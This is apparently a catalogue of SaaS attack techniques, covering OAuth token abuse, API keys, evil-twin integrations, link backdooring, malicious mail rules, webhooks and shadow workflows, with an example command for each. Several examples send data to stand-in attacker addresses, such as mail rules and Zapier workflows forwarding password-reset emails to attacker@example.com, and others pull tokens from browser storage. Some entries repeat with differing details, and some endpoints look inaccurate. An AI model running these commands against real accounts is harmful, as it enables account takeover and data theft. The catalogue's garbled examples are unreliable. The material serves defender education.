Adversaries can abuse OAuth tokens to maintain long-term access to compromised user accounts in SaaS environments. OAuth tokens allow programmatic access to APIs without needing user passwords or MFA, making them a powerful tool for persistence. Attackers can create a malicious OAuth app, generate tokens, and gain access to various APIs through refresh tokens that rarely expire. Even if passwords or MFA are reset, these tokens allow continued access.

Example Commands/Code:

• Microsoft Graph Explorer:

  • Extract OAuth tokens from browser storage after gaining access to a user account:

    localStorage.getItem('msal.idtoken')

• Slack API Tester:

  • Use the OAuth token to assign administrator privileges in Slack:

    POST https://slack.com/api/users.admin.set Authorization: Bearer <OAuth-Token>

Client-side App Spoofing (ID: SAT1009)

Tactics:

• Execution

• Persistence

• Defense Evasion

Adversaries exploit client-side OAuth apps by embedding client secrets in the application code, allowing them to spoof legitimate apps and request excessive permissions. This method enables attackers to maintain access to compromised accounts through OAuth tokens, which are hard to detect. By using known apps (e.g., Thunderbird, VSCode), adversaries can remain undetected, making it difficult for defenders to distinguish legitimate OAuth usage from malicious activity.

Example Commands/Code:

• VSCode GitHub Extension Attack:

  • Capture OAuth token using Burp:

    curl -H "Authorization: token <captured-token>" https://api.github.com/repos/<target-repo>/commits

• Thunderbird OAuth Spoofing:

  • Request additional permissions via embedded client secret:

    POST https://oauth2.example.com/token client_id=<client-id>&client_secret=<client-secret>

Each of these techniques allows adversaries to exploit SaaS environments by blending into legitimate functionality, making detection more challenging. By leveraging well-known automation platforms and OAuth integrations, attackers can exfiltrate data, maintain persistence, and evade security controls.

API Keys (ID: SAT1004)

Tactics:

• Persistence

• Defense Evasion

API keys provide a straightforward mechanism for programmatic access to SaaS applications. They often do not expire, are unaffected by password resets, and are not protected by multi-factor authentication (MFA). This makes them an excellent tool for adversaries seeking to maintain access to a compromised account. API keys are also often not tied directly to user accounts, allowing them to persist even if the user account is deleted. Since API actions are logged differently from standard user actions, using API keys can help evade detection.

Example Commands/Code:

• Shortcut:

  • Retrieve existing API keys (if permitted by the app):

    GET https://api.shortcut.com/v1/user/api-keys Authorization: Bearer <user-access-token>

  • Create a new API key:

    POST https://api.shortcut.com/v1/user/api-keys Content-Type: application/ Authorization: Bearer <user-access-token> { "name": "New API Key", "scopes": ["read", "write"] }

OAuth Tokens (ID: SAT1027)

Tactics:

• Execution

• Persistence

OAuth tokens are used by SaaS apps to grant access to APIs and can be exploited by adversaries to maintain long-term access to compromised accounts. By creating a malicious OAuth app or using in-browser API test tools, attackers can generate and use tokens to gain access to APIs. Refresh tokens typically do not expire and are immune to password resets and MFA, providing a robust method for maintaining access.

Example Commands/Code:

• Microsoft Graph Explorer:

  • Extract OAuth tokens from browser storage:

    localStorage.getItem('msal.idtoken')

• Slack API Tester:

  • Use the OAuth token to make API calls:

    GET https://slack.com/api/users.list Authorization: Bearer <OAuth-Token>

Evil Twin Integrations (ID: SAT1016)

Tactics:

• Persistence

• Defense Evasion

Evil twin integrations involve creating a duplicate of an existing OAuth integration. These twins appear identical to legitimate integrations and are difficult to detect because SaaS apps do not display details of the linked accounts. Adversaries can leverage this technique to maintain access by creating an additional integration with the same scopes and permissions as a legitimate one, avoiding detection and deletion.

Example Commands/Code:

• Hubspot:

  • Create a duplicate integration to access email functionality:

    POST https://api.hubspot.com/oauth/v1/authorize client_id=<client-id>&redirect_uri=<redirect-uri>

Link Backdooring (ID: SAT1021)

Tactics:

• Privilege Escalation

• Lateral Movement

Link backdooring involves embedding malicious links within trusted SaaS applications, such as wikis or document management systems. Users often trust links within these environments, making them a prime target for attackers. By automating link updates through APIs or direct edits, adversaries can direct users to phishing sites or malicious content, leveraging the trust users place in the platform.

Example Commands/Code:

• Nuclino:

  • Automate link backdooring using the Nuclino API:

    PUT https://api.nuclino.com/v1/pages/<page-id> Authorization: Bearer <API-Token> Content-Type: application/ { "content": "Updated content with [malicious link](http://malicious-site.com)" }

Abuse Existing OAuth Integrations (ID: SAT1001)

Tactics:

• Privilege Escalation

• Lateral Movement

Abusing existing OAuth integrations involves leveraging OAuth connections to other applications that have been set up within a compromised SaaS account. This technique allows adversaries to escalate privileges and move laterally by using the exposed functionality of these integrations. Identifying and exploiting these integrations can grant attackers extensive access to data and services.

Example Commands/Code:

• Zapier:

  • Use existing integrations to access data across multiple apps:

    GET https://api.google.com/drive/v3/files Authorization: Bearer <Zapier-OAuth-Token>

Malicious Mail Rules (ID: SAT1023)

Tactics:

• Persistence

• Privilege Escalation

• Defense Evasion

Mail rules in SaaS email providers can be configured to automate actions such as forwarding or deleting emails. These rules persist through account changes, including password resets. Adversaries can use them to forward sensitive information, like password reset emails, to external addresses, or to hide their activities by deleting important emails.

Example Commands/Code:

• Office 365:

  • Create a malicious forwarding rule:

POST https://outlook.office.com/api/v1.0/me/mailfolders/inbox/messageRules
Authorization: Bearer <Access-Token>
Content-Type: application/

{
  "displayName": "Forward all emails to external address",
  "isEnabled": true,
  "conditions": {
    "subjectContains": ["password reset"]
  },
  "actions": {
    "forwardTo": ["external@example.com"]
  }
}

Password Scraping (ID: SAT1028)

Tactics:

• Credential Access

Password scraping involves extracting stored passwords, which might be stored in plaintext or unprotected locations. This can include passwords saved in shared files, wikis, ticketing systems, or even emails. Modern passwordless authentication systems, like those sending OTPs via email, can also be targeted. By discovering and accessing these passwords, adversaries can potentially move laterally to other systems or escalate their access.

Example Commands/Code:

• Okta SWA Password Scraping:

  • Bypass password reveal restrictions using browser developer tools:

    // Open browser developer tools, locate the password field document.querySelector('input[type="password"]').type = 'text'; // Password will be revealed in the input field

• Canva Passwordless Login:

  • Trigger passwordless login process and capture OTP:

    # Request a passwordless login email POST https://www.canva.com/api/v1/auth/passwordless Content-Type: application/ { "email": "user@example.com" }

API Secret Theft (ID: SAT1005)

Tactics:

• Credential Access

• Lateral Movement

API secret theft involves extracting API keys or secrets used for integrating applications. These secrets may be stored in plaintext within apps or build environments. By accessing these secrets, adversaries can move laterally to other systems or contexts, compromising further integrations or services.

Example Commands/Code:

• Postman API Secret Theft:

  • Extracting API key from an insecurely stored request:

    # Example of insecurely stored API key in a request GET https://api.example.com/resource?api_key=mysecretapikeyhere

  • Using Postman’s environment variables securely:

    { "name": "API_KEY", "initialValue": "", "value": "secure_api_key" }

Email Discovery (ID: SAT1014)

Tactics:

• Discovery

Email discovery involves accessing a user’s email to find evidence of SaaS applications they are using. This can include welcome emails, verification messages, or usage notifications. By analyzing these emails, adversaries can identify other SaaS apps the user is accessing and use this information for further attacks or lateral movement.

Example Commands/Code:

• Searching for Welcome Emails:

  • Search for common keywords in the email account:

    # Example command for searching welcome emails in Gmail GET https://www.googleapis.com/gmail/v1/users/me/messages?q=subject:"Welcome" Authorization: Bearer <OAuth-Token>

App Directory Lookup (ID: SAT1006)

Tactics:

• Discovery

App directory lookup involves accessing and extracting user directories from SaaS apps. This may include lists of users, group memberships, or other visible user information. Adversaries can use this data to identify targets for further attacks or to find users whose credentials might be the same across different apps.

Example Commands/Code:

• Shortcut App Directory Lookup:

  • Retrieve user directory from Shortcut:

    GET https://api.shortcut.com/v1/users Authorization: Bearer <API-Token>

OAuth Token Enumeration (ID: SAT1026)

Tactics:

• Discovery

OAuth token enumeration involves listing out existing OAuth tokens or integrations associated with a user account. This allows adversaries to identify other SaaS apps the user has connected to and target these apps for further attacks or lateral movement.

Example Commands/Code:

• Google OAuth Token Lookup:

  • View active OAuth tokens in Google account:

    GET https://myaccount.google.com/security Authorization: Bearer <OAuth-Token>

• Microsoft OAuth Token Lookup:

  • View installed apps and their permissions:

    GET https://myapps.microsoft.com/ Authorization: Bearer <OAuth-Token>

Link Backdooring (ID: SAT1021)

Tactics:

• Privilege Escalation

• Lateral Movement

Link backdooring involves inserting malicious links into trusted SaaS applications, such as document editors, ticketing systems, or wikis, which often have less stringent link security compared to external emails. This technique capitalizes on the fact that users are generally more cautious with external links but may not scrutinize links within trusted environments. By modifying these links to redirect to phishing sites or other malicious destinations, adversaries can exploit the trusted nature of the environment to deceive users into revealing credentials or other sensitive information.

Example Commands/Code:

• Nuclino Link Backdooring:

  • Using Nuclino’s API to modify links:

# Authenticate with Nuclino API
curl -X POST "https://api.nuclino.com/v1/auth/login" \
-H "Content-Type: application/json" \
-d '{"email": "user@example.com", "password": "password"}'

# Update a document with a malicious link
curl -X PATCH "https://api.nuclino.com/v1/documents/<document_id>" \
-H "Authorization: Bearer <access_token>" \
-H "Content-Type: application/json" \
-d '{"content": "Check this out: https://maliciousdomain.com"}'

Abuse Existing OAuth Integrations (ID: SAT1001)

Tactics:

• Privilege Escalation

• Lateral Movement

OAuth integrations allow SaaS applications to interact with other apps and services by sharing access tokens. If an adversary compromises an account with existing OAuth integrations, they can exploit these connections to access or control other integrated services. This can lead to privilege escalation and lateral movement across different applications. Identifying and abusing these integrations can provide a powerful foothold in multiple systems.

Example Commands/Code:

• Zapier OAuth Integration Abuse:

  • Accessing connected services through Zapier’s API:

# List all connected accounts
curl -X GET "https://zapier.com/api/v1/connections" \
-H "Authorization: Bearer <zapier_api_key>"

# Example of reading data from Google Drive
curl -X GET "https://www.googleapis.com/drive/v3/files" \
-H "Authorization: Bearer <google_drive_oauth_token>"

API Secret Theft (ID: SAT1005)

Tactics:

• Credential Access

• Lateral Movement

API secret theft involves extracting API keys or secrets that are often stored in plaintext within applications or CI/CD environments. By accessing these secrets, adversaries can move laterally to other systems or contexts, potentially compromising a broad range of services. This is particularly relevant in environments where secrets are not adequately secured.

Example Commands/Code:

• Postman API Secret Theft:

  • Accessing an API key stored in an insecure manner:

# Example of API key in an insecure request
curl -X GET "https://api.example.com/resource?api_key=mysecretapikeyhere"

# Secure way to manage secrets in Postman
# Set environment variables
POST /api/v1/variables
Content-Type: application/json

{
  "name": "API_KEY",
  "value": "secure_api_key"
}

Takeout Services (ID: SAT1037)

Tactics:

• Exfiltration

Takeout services enable users to export their data from SaaS applications, often for compliance with data protection regulations like GDPR. Adversaries can leverage this functionality to quickly and comprehensively exfiltrate data from a targeted service. This is particularly useful for gathering large volumes of data without triggering traditional exfiltration alerts.

Example Commands/Code:

• Google Takeout:

  • Export data using Google Takeout:

# Request a data export from Google Takeout
curl -X POST "https://takeout.google.com/takeout/download" \
-H "Authorization: Bearer <access_token>"

Webhooks (ID: SAT1039)

Tactics:

• Defense Evasion

• Exfiltration

Webhooks are a way for SaaS applications to notify external systems of events, such as new emails or files. Adversaries can configure webhooks to exfiltrate data in real-time, bypassing traditional detection methods since these requests appear as legitimate callbacks from the SaaS app. This technique allows for continuous and covert data exfiltration.

Example Commands/Code:

• Microsoft 365 Webhooks:

  • Configure a webhook to receive change notifications:

# Create a subscription for change notifications
curl -X POST "https://graph.microsoft.com/v1.0/subscriptions" \
-H "Authorization: Bearer <access_token>" \
-H "Content-Type: application/json" \
-d '{
  "changeType": "created,updated",
  "notificationUrl": "https://yourdomain.com/notifications",
  "resource": "/me/messages",
  "expirationDateTime": "2024-12-31T11:23:00.000Z",
  "clientState": "secretClientState"
}'

Shadow Workflows (ID: SAT1033)

Tactics:

• Execution

• Exfiltration

Shadow workflows involve using low-code or no-code automation platforms to execute malicious tasks. These platforms allow users to create automations that can perform a wide range of actions, such as exporting data or manipulating files. An adversary with access to a SaaS account can leverage these workflows to perform automated exfiltration or other malicious activities without needing traditional code execution.

Example Commands/Code:

• Zapier Shadow Workflow:

  • Set up an automation to forward and delete specific emails:

# Example Zapier workflow to forward emails containing specific keywords
POST https://zapier.com/api/v1/zaps
Content-Type: application/json

{
  "name": "Forward and Delete Emails",
  "trigger": {
    "app": "Email",
    "event": "New Email"
  },
  "action": {
    "app": "Email",
    "event": "Forward Email",
    "parameters": {
      "to": "attacker@example.com",
      "filter": "password reset"
    }
  }
}

These techniques showcase various methods by which adversaries can exploit SaaS environments to escalate privileges, exfiltrate data, and move laterally across systems. Understanding and defending against these methods is crucial for maintaining robust security in a SaaS context.

Resources

• https://github.com/pushsecurity/saas-attacks/

• https://pushsecurity.com/blog/saas-attack-techniques/

• https://www.youtube.com/watch?v=pdDzUTFVIZc

• https://www.youtube.com/watch?v=NAOE875gAOg